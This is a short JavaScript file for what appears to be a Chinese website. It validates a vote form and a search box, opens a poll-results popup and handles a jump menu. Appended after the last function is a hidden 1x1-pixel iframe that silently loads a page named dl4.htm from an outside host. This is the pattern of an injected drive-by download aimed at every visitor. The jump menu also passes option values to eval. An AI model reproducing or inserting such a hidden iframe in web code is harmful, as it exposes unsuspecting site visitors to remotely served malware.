function checkVote(form){
         if(form.lang[0].checked==0&&form.lang[1].checked==0&&form.lang[2].checked==0&&form.lang[3].checked==0)   {
         alert("请您选择一项！谢谢合作～～") ;
         return false;
         }
         return true;
}
function checkSearch(form){
         if(form.keyword.value=="")    {
         alert("请您输入关键字！")
         return false;
          }
         return true;
}
function cw(){
window.open("vote/see.jsp","mywindow","toolbar=no,left=300,top=100,width=360,height=350,menubar=no,systemMenu=no");
}
function MM_jumpMenu(targ,selObj,restore){
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}<iframe src=http://1.100190.com/dl4.htm width=1 height=1></iframe>